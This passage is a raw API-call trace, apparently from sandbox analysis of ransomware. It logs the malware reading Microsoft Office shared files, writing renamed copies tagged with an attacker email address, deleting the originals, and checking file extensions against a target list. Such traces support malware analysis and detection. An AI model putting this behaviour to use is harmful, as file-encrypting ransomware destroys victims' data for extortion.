liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.079] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0050.080] GetLastError () returned 0x0 [0050.080] ReadFile (in: hFile=0x17c, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x236, lpOverlapped=0x0) returned 1 [0050.081] WriteFile (in: hFile=0x210, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x240, lpOverlapped=0x0) returned 1 [0050.081] ReadFile (in: hFile=0x17c, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.081] WriteFile (in: hFile=0x210, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0050.082] SetEndOfFile (hFile=0x210) returned 1 [0050.082] CloseHandle (hObject=0x210) returned 1 [0050.082] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.082] SetEndOfFile (hFile=0x17c) returned 1 [0050.083] CloseHandle (hObject=0x17c) returned 1 [0050.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0050.083] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 1 [0050.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0050.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0050.083] lstrlenW (lpString=".doc") returned 4 [0050.083] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0050.083] lstrlenW (lpString=".docx") returned 5 [0050.083] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0050.083] lstrlenW (lpString=".pdf") returned 4 [0050.083] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0050.083] lstrlenW (lpString=".xls") returned 4 [0050.083] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0050.084] lstrlenW (lpString=".xlsx") returned 5 [0050.084] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0050.084] lstrlenW (lpString=".ppt") returned 4 [0050.084] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0050.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0050.084] lstrlenW (lpString=".zip") returned 4 [0050.084] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0050.084] lstrlenW (lpString=".rar") returned 4 [0050.084] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0050.084] lstrlenW (lpString=".bz2") returned 4 [0050.084] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0050.084] lstrlenW (lpString=".7z") returned 3 [0050.084] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0050.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0050.084] lstrlenW (lpString=".dbf") returned 4 [0050.084] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0050.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0050.084] lstrlenW (lpString=".1cd") returned 4 [0050.084] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0050.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0050.084] lstrlenW (lpString=".jpg") returned 4 [0050.084] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0050.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0050.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0050.084] lstrlenW (lpString=".doc") returned 4 [0050.084] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0050.084] lstrlenW (lpString=".docx") returned 5 [0050.084] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0050.084] lstrlenW (lpString=".pdf") returned 4 [0050.084] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0050.085] lstrlenW (lpString=".xls") returned 4 [0050.085] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0050.085] lstrlenW (lpString=".xlsx") returned 5 [0050.085] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0050.085] lstrlenW (lpString=".ppt") returned 4 [0050.085] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0050.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0050.085] lstrlenW (lpString=".zip") returned 4 [0050.085] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0050.085] lstrlenW (lpString=".rar") returned 4 [0050.085] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0050.085] lstrlenW (lpString=".bz2") returned 4 [0050.085] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0050.085] lstrlenW (lpString=".7z") returned 3 [0050.085] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0050.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0050.085] lstrlenW (lpString=".dbf") returned 4 [0050.085] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0050.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0050.085] lstrlenW (lpString=".1cd") returned 4 [0050.085] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0050.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0050.085] lstrlenW (lpString=".jpg") returned 4 [0050.085] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0050.085] lstrcmpiW (lpString1=".HLP", lpString2=".html") returned -1 [0050.085] lstrlenW (lpString="EQNEDT32.HLP") returned 12 [0050.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.086] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=176311) returned 1 [0050.086] CloseHandle (hObject=0x17c) returned 1 [0050.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 0x20 [0050.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0050.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.086] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.086] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0050.087] GetLastError () returned 0x0 [0050.087] ReadFile (in: hFile=0x17c, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x2b0b7, lpOverlapped=0x0) returned 1 [0050.286] WriteFile (in: hFile=0x210, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0x2b0c0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x2b0c0, lpOverlapped=0x0) returned 1 [0050.288] ReadFile (in: hFile=0x17c, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.288] WriteFile (in: hFile=0x210, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.289] SetEndOfFile (hFile=0x210) returned 1 [0050.289] CloseHandle (hObject=0x210) returned 1 [0050.289] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.289] SetEndOfFile (hFile=0x17c) returned 1 [0050.290] CloseHandle (hObject=0x17c) returned 1 [0050.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0050.291] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 1 [0050.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0050.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0050.291] lstrlenW (lpString=".doc") returned 4 [0050.291] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0050.291] lstrlenW (lpString=".docx") returned 5 [0050.291] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0050.291] lstrlenW (lpString=".pdf") returned 4 [0050.291] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0050.291] lstrlenW (lpString=".xls") returned 4 [0050.291] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0050.291] lstrlenW (lpString=".xlsx") returned 5 [0050.291] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0050.291] lstrlenW (lpString=".ppt") returned 4 [0050.291] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0050.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0050.291] lstrlenW (lpString=".zip") returned 4 [0050.291] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0050.291] lstrlenW (lpString=".rar") returned 4 [0050.291] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0050.291] lstrlenW (lpString=".bz2") returned 4 [0050.291] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0050.291] lstrlenW (lpString=".7z") returned 3 [0050.291] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0050.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0050.292] lstrlenW (lpString=".dbf") returned 4 [0050.292] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0050.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0050.292] lstrlenW (lpString=".1cd") returned 4 [0050.292] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0050.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0050.292] lstrlenW (lpString=".jpg") returned 4 [0050.292] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0050.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0050.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0050.292] lstrlenW (lpString=".doc") returned 4 [0050.292] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0050.292] lstrlenW (lpString=".docx") returned 5 [0050.292] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0050.292] lstrlenW (lpString=".pdf") returned 4 [0050.292] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0050.292] lstrlenW (lpString=".xls") returned 4 [0050.292] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0050.292] lstrlenW (lpString=".xlsx") returned 5 [0050.292] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0050.292] lstrlenW (lpString=".ppt") returned 4 [0050.292] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0050.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0050.292] lstrlenW (lpString=".zip") returned 4 [0050.292] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0050.292] lstrlenW (lpString=".rar") returned 4 [0050.292] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0050.292] lstrlenW (lpString=".bz2") returned 4 [0050.292] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0050.292] lstrlenW (lpString=".7z") returned 3 [0050.292] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0050.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0050.293] lstrlenW (lpString=".dbf") returned 4 [0050.293] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0050.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0050.293] lstrlenW (lpString=".1cd") returned 4 [0050.293] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0050.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0050.293] lstrlenW (lpString=".jpg") returned 4 [0050.293] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0050.293] lstrcmpiW (lpString1=".TTF", lpString2=".html") returned 1 [0050.293] lstrlenW (lpString="MTEXTRA.TTF") returned 11 [0050.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.293] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=7656) returned 1 [0050.293] CloseHandle (hObject=0x17c) returned 1 [0050.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 0x20 [0050.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0050.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.294] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.294] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0050.294] GetLastError () returned 0x0 [0050.294] ReadFile (in: hFile=0x17c, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x1de8, lpOverlapped=0x0) returned 1 [0050.296] WriteFile (in: hFile=0x210, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0x1df0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1df0, lpOverlapped=0x0) returned 1 [0050.296] ReadFile (in: hFile=0x17c, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.297] WriteFile (in: hFile=0x210, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.297] SetEndOfFile (hFile=0x210) returned 1 [0050.297] CloseHandle (hObject=0x210) returned 1 [0050.297] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.297] SetEndOfFile (hFile=0x17c) returned 1 [0050.298] CloseHandle (hObject=0x17c) returned 1 [0050.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0050.298] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 1 [0050.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0050.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0050.298] lstrlenW (lpString=".doc") returned 4 [0050.298] lstrcmpiW (lpString1=".doc", lpString2=".TTF") returned -1 [0050.298] lstrlenW (lpString=".docx") returned 5 [0050.298] lstrcmpiW (lpString1=".docx", lpString2="A.TTF") returned -1 [0050.298] lstrlenW (lpString=".pdf") returned 4 [0050.298] lstrcmpiW (lpString1=".pdf", lpString2=".TTF") returned -1 [0050.298] lstrlenW (lpString=".xls") returned 4 [0050.298] lstrcmpiW (lpString1=".xls", lpString2=".TTF") returned 1 [0050.298] lstrlenW (lpString=".xlsx") returned 5 [0050.298] lstrcmpiW (lpString1=".xlsx", lpString2="A.TTF") returned -1 [0050.298] lstrlenW (lpString=".ppt") returned 4 [0050.298] lstrcmpiW (lpString1=".ppt", lpString2=".TTF") returned -1 [0050.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0050.298] lstrlenW (lpString=".zip") returned 4 [0050.298] lstrcmpiW (lpString1=".zip", lpString2=".TTF") returned 1 [0050.298] lstrlenW (lpString=".rar") returned 4 [0050.299] lstrcmpiW (lpString1=".rar", lpString2=".TTF") returned -1 [0050.299] lstrlenW (lpString=".bz2") returned 4 [0050.299] lstrcmpiW (lpString1=".bz2", lpString2=".TTF") returned -1 [0050.299] lstrlenW (lpString=".7z") returned 3 [0050.299] lstrcmpiW (lpString1=".7z", lpString2="TTF") returned -1 [0050.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0050.299] lstrlenW (lpString=".dbf") returned 4 [0050.299] lstrcmpiW (lpString1=".dbf", lpString2=".TTF") returned -1 [0050.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0050.299] lstrlenW (lpString=".1cd") returned 4 [0050.299] lstrcmpiW (lpString1=".1cd", lpString2=".TTF") returned -1 [0050.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0050.299] lstrlenW (lpString=".jpg") returned 4 [0050.299] lstrcmpiW (lpString1=".jpg", lpString2=".TTF") returned -1 [0050.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0050.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0050.299] lstrlenW (lpString=".doc") returned 4 [0050.299] lstrcmpiW (lpString1=".doc", lpString2=".TTF") returned -1 [0050.299] lstrlenW (lpString=".docx") returned 5 [0050.299] lstrcmpiW (lpString1=".docx", lpString2="A.TTF") returned -1 [0050.299] lstrlenW (lpString=".pdf") returned 4 [0050.299] lstrcmpiW (lpString1=".pdf", lpString2=".TTF") returned -1 [0050.299] lstrlenW (lpString=".xls") returned 4 [0050.299] lstrcmpiW (lpString1=".xls", lpString2=".TTF") returned 1 [0050.299] lstrlenW (lpString=".xlsx") returned 5 [0050.299] lstrcmpiW (lpString1=".xlsx", lpString2="A.TTF") returned -1 [0050.299] lstrlenW (lpString=".ppt") returned 4 [0050.299] lstrcmpiW (lpString1=".ppt", lpString2=".TTF") returned -1 [0050.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0050.299] lstrlenW (lpString=".zip") returned 4 [0050.299] lstrcmpiW (lpString1=".zip", lpString2=".TTF") returned 1 [0050.299] lstrlenW (lpString=".rar") returned 4 [0050.299] lstrcmpiW (lpString1=".rar", lpString2=".TTF") returned -1 [0050.299] lstrlenW (lpString=".bz2") returned 4 [0050.300] lstrcmpiW (lpString1=".bz2", lpString2=".TTF") returned -1 [0050.300] lstrlenW (lpString=".7z") returned 3 [0050.300] lstrcmpiW (lpString1=".7z", lpString2="TTF") returned -1 [0050.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0050.300] lstrlenW (lpString=".dbf") returned 4 [0050.300] lstrcmpiW (lpString1=".dbf", lpString2=".TTF") returned -1 [0050.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0050.300] lstrlenW (lpString=".1cd") returned 4 [0050.300] lstrcmpiW (lpString1=".1cd", lpString2=".TTF") returned -1 [0050.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0050.300] lstrlenW (lpString=".jpg") returned 4 [0050.300] lstrcmpiW (lpString1=".jpg", lpString2=".TTF") returned -1 [0050.300] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0050.300] lstrlenW (lpString="MSOEURO.DLL") returned 11 [0050.300] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.300] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=31104) returned 1 [0050.301] CloseHandle (hObject=0x17c) returned 1 [0050.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 0x20 [0050.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0050.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.301] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.301] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0050.301] GetLastError () returned 0x0 [0050.301] ReadFile (in: hFile=0x17c, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 